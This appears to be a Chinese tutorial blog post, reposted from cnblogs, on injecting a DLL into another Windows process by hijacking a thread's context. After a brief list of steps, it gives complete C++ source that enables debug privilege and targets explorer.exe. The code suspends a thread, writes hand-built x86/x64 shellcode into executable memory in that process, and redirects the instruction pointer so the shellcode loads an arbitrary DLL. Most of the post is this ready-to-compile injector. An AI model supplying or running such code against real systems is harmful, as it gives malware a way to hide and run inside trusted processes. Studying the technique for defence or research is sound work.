• 动态库注入——SetThreadContext注入

    这种注入方法是主要是修改进程中的线程上下文来实现Dll注入（ShellCode）

    1. 实现步骤

       a根据进程ID的进程句柄。

       b根据进程ID得到线程句柄

       c调用SuspendThread()函数暂停线程。

       d在目标进程中申请内存,写入ShellCode

       e调用GetThreadContext（）函数获得线程的上下文

       d修改Eip(rip)的值。

       f调用SetThreadContext()函数进行设置线程上下文

    2. 代码实现 
        1 // SetThreadContext.cpp : 定义控制台应用程序的入口点。
  2 //
  3 
  4 #include "stdafx.h"
  5 #include <Windows.h>
  6 #include <TlHelp32.h>
  7 #include <vector>
  8 #include <iostream>
  9 
 10 using namespace std;
 11 
 12 BOOL GrantPriviledge(WCHAR* PriviledgeName);
 13 BOOL GetProcessIdByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessId);
 14 BOOL GetThreadIdByProcessId(UINT32 ProcessId, vector<UINT32>& ThreadIdVector);
 15 BOOL Inject(UINT32 ProcessId, UINT32 ThreadId);
 16 
 17 
 18 #ifdef _WIN64
 19 
 20 UINT8    ShellCode[0x100] = {
 21     0x48,0x83,0xEC,0x28,    
 22 
 23     0x48,0x8D,0x0d,            
 24     0x00,0x00,0x00,0x00,    
 25 
 26 
 27     0xff,0x15,                
 28     0x00,0x00,0x00,0x00,    
 29 
 30     0x48,0x83,0xc4,0x28,    
 31 
 32     
 33     0xff,0x25,                
 34     0x00,0x00,0x00,0x00,    
 35 
 36     
 37     0x00,0x00,0x00,0x00,    
 38     0x00,0x00,0x00,0x00,    
 39 
 40     0x00,0x00,0x00,0x00,    
 41     0x00,0x00,0x00,0x00,    
 42 
 43 };
 44 #else
 45 
 46 UINT8    ShellCode[0x100] = {
 47     0x60,                    
 48     0x9c,                    
 49     0x68,                    
 50     0x00,0x00,0x00,0x00,    
 51     0xff,0x15,                
 52     0x00,0x00,0x00,0x00,    
 53     0x9d,                    
 54     0x61,                    
 55     0xff,0x25,                
 56     0x00,0x00,0x00,0x00,    
 57 
 58 
 59     0x00,0x00,0x00,0x00,    
 60 
 61     0x00,0x00,0x00,0x00,
 62 
 63     0x00,0x00,0x00,0x00        
 64 };
 65 
 66 #endif
 67 
 68 
 69 CHAR    DllFullPath[MAX_PATH] = { 0 };
 70 
 71 int main()
 72 {
 73     // 提权
 74     if (GrantPriviledge(SE_DEBUG_NAME) == FALSE)
 75     {
 76         printf("GrantPriviledge Error\r\n");
 77     }
 78 
 79     UINT32    ProcessId = 0;
 80 
 81     GetCurrentDirectoryA(MAX_PATH, DllFullPath);
 82 
 83 #ifdef _WIN64
 84     GetProcessIdByProcessImageName(L"explorer.exe", &ProcessId);
 85 
 86     strcat_s(DllFullPath, "\\x64Dll.dll");
 87 #else
 88     GetProcessIdByProcessImageName(L"explorer.exe", &ProcessId);
 89     strcat_s(DllFullPath, "\\x86Dll.dll");
 90 #endif
 91 
 92     //枚举到线程id
 93     vector<UINT32> ThreadIdVector;
 94     GetThreadIdByProcessId(ProcessId, ThreadIdVector);
 95 
 96     for (UINT32 ThreadId : ThreadIdVector)
 97     {
 98         Inject(ProcessId, ThreadId);
 99         break;            
100     }
101 
102     Sleep(3000);
103 
104     return 0;
105 }
106 
107 UINT32    Count = 0;
108 BOOL Inject(UINT32 ProcessId, UINT32 ThreadId)
109 {
110     HANDLE    ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadId);
111     HANDLE    ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
112 
113     // 首先挂起线程
114     SuspendThread(ThreadHandle);
115 
116     CONTEXT        ThreadContext = { 0 };
117     ThreadContext.ContextFlags = CONTEXT_ALL;
118     if (GetThreadContext(ThreadHandle, &ThreadContext) == FALSE)
119     {
120         cout << GetLastError() << endl;
121         CloseHandle(ThreadHandle);
122         CloseHandle(ProcessHandle);
123         return FALSE;
124     }
125 
126     PVOID    BufferData = VirtualAllocEx(ProcessHandle, NULL, sizeof(ShellCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
127     if (BufferData != NULL)
128     {
129         UINT_PTR    LoadLibraryAddress = (UINT_PTR)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryA");
130         if (LoadLibraryAddress != NULL)
131         {
132 #ifdef _WIN64
133 
134             // ShellCode + 43
135             PUINT8    v1 = ShellCode + 43;
136             memcpy(v1, DllFullPath, strlen(DllFullPath) + 1);
137             UINT32    DllNameOffset = (UINT32)(((PUINT8)BufferData + 43) - ((PUINT8)BufferData + 4) - 7);
138             *(PUINT32)(ShellCode + 7) = DllNameOffset;
139 
140             // ShellCode + 35
141             *(PUINT64)(ShellCode + 35) = (UINT64)LoadLibraryAddress;
142             UINT32    LoadLibraryAddressOffset = (UINT32)(((PUINT8)BufferData + 35) - ((PUINT8)BufferData + 11) - 6);
143             *(PUINT32)(ShellCode + 13) = LoadLibraryAddressOffset;
144 
145             *(PUINT64)(ShellCode + 27) = ThreadContext.Rip;
146             
147             if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL))
148             {
149                 return FALSE;
150             }
151             ThreadContext.Rip = (UINT64)BufferData;
152 
153 #else
154             PUINT8    v1 = ShellCode + 29;
155 
156             memcpy((char*)v1, DllFullPath, strlen(DllFullPath) + 1);    
157             *(PUINT32)(ShellCode + 3) = (UINT32)BufferData + 29;
158 
159             *(PUINT32)(ShellCode + 25) = LoadLibraryAddress;  
160             *(PUINT32)(ShellCode + 9) = (UINT32)BufferData + 25;
161                                                              
162             *(PUINT32)(ShellCode + 21) = ThreadContext.Eip;
163             *(PUINT32)(ShellCode + 17) = (UINT32)BufferData + 21;
164             if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL))
165             {
166                 printf("write Process Error\n");
167                 return FALSE;
168             }
169             ThreadContext.Eip = (UINT32)BufferData;
170 
171 #endif            
172             if (!SetThreadContext(ThreadHandle, &ThreadContext))
173             {
174                 printf("set thread context error\n");
175                 return FALSE;
176             }
177             ResumeThread(ThreadHandle);
178 
179             printf("ShellCode 注入完成: %d\r\n", ++Count);
180         }
181     }
182 
183     CloseHandle(ThreadHandle);
184     CloseHandle(ProcessHandle);
185     return TRUE;
186 }
187 
188 //获得线程ID
189 BOOL GetThreadIdByProcessId(UINT32 ProcessId, vector<UINT32>& ThreadIdVector)
190 {
191     HANDLE            ThreadSnapshotHandle = NULL;
192     THREADENTRY32    ThreadEntry32 = { 0 };
193 
194     ThreadEntry32.dwSize = sizeof(THREADENTRY32);
195 
196     ThreadSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
197     if (ThreadSnapshotHandle == INVALID_HANDLE_VALUE)
198     {
199         return FALSE;
200     }
201 
202     Thread32First(ThreadSnapshotHandle, &ThreadEntry32);
203     do
204     {
205         if (ThreadEntry32.th32OwnerProcessID == ProcessId)
206         {
207             ThreadIdVector.emplace_back(ThreadEntry32.th32ThreadID);        // 把该进程的所有线程id压入模板
208         }
209     } while (Thread32Next(ThreadSnapshotHandle, &ThreadEntry32));
210 
211     CloseHandle(ThreadSnapshotHandle);
212     ThreadSnapshotHandle = NULL;
213     return TRUE;
214 }
215 
216 
217 BOOL GetProcessIdByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessId)
218 {
219     HANDLE            ProcessSnapshotHandle = NULL;
220     PROCESSENTRY32    ProcessEntry32 = { 0 };
221 
222     ProcessEntry32.dwSize = sizeof(PROCESSENTRY32);        
223 
224     ProcessSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    
225 
226     if (ProcessSnapshotHandle == INVALID_HANDLE_VALUE)
227     {
228         return FALSE;
229     }
230 
231     Process32First(ProcessSnapshotHandle, &ProcessEntry32);        
232     do
233     {
234         if (lstrcmpi(ProcessEntry32.szExeFile, wzProcessImageName) == 0)        
235         {
236             *TargetProcessId = ProcessEntry32.th32ProcessID;
237             break;
238         }
239     } while (Process32Next(ProcessSnapshotHandle, &ProcessEntry32));
240 
241     CloseHandle(ProcessSnapshotHandle);
242     ProcessSnapshotHandle = NULL;
243     return TRUE;
244 }
245 
246 
247 
248 // 提限
249 BOOL GrantPriviledge(WCHAR* PriviledgeName)
250 {
251     TOKEN_PRIVILEGES TokenPrivileges, OldPrivileges;
252     DWORD             dwReturnLength = sizeof(OldPrivileges);
253     HANDLE             TokenHandle = NULL;
254     LUID             uID;
255 
256     // 打开权限令牌
257     if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &TokenHandle))
258     {
259         if (GetLastError() != ERROR_NO_TOKEN)
260         {
261             return FALSE;
262         }
263         if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle))
264         {
265             return FALSE;
266         }
267     }
268 
269     //查看权限令牌
270     if (!LookupPrivilegeValue(NULL, PriviledgeName, &uID))        
271     {
272         CloseHandle(TokenHandle);
273         return FALSE;
274     }
275 
276     TokenPrivileges.PrivilegeCount = 1;        
277     TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    
278     TokenPrivileges.Privileges[0].Luid = uID;
279 
280     // 调整权限
281     if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), &OldPrivileges, &dwReturnLength))
282     {
283         CloseHandle(TokenHandle);
284         return FALSE;
285     }
286 
287     CloseHandle(TokenHandle);
288     return TRUE;
289 }
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  • 原文地址：https://www.cnblogs.com/banchen/p/6682777.html
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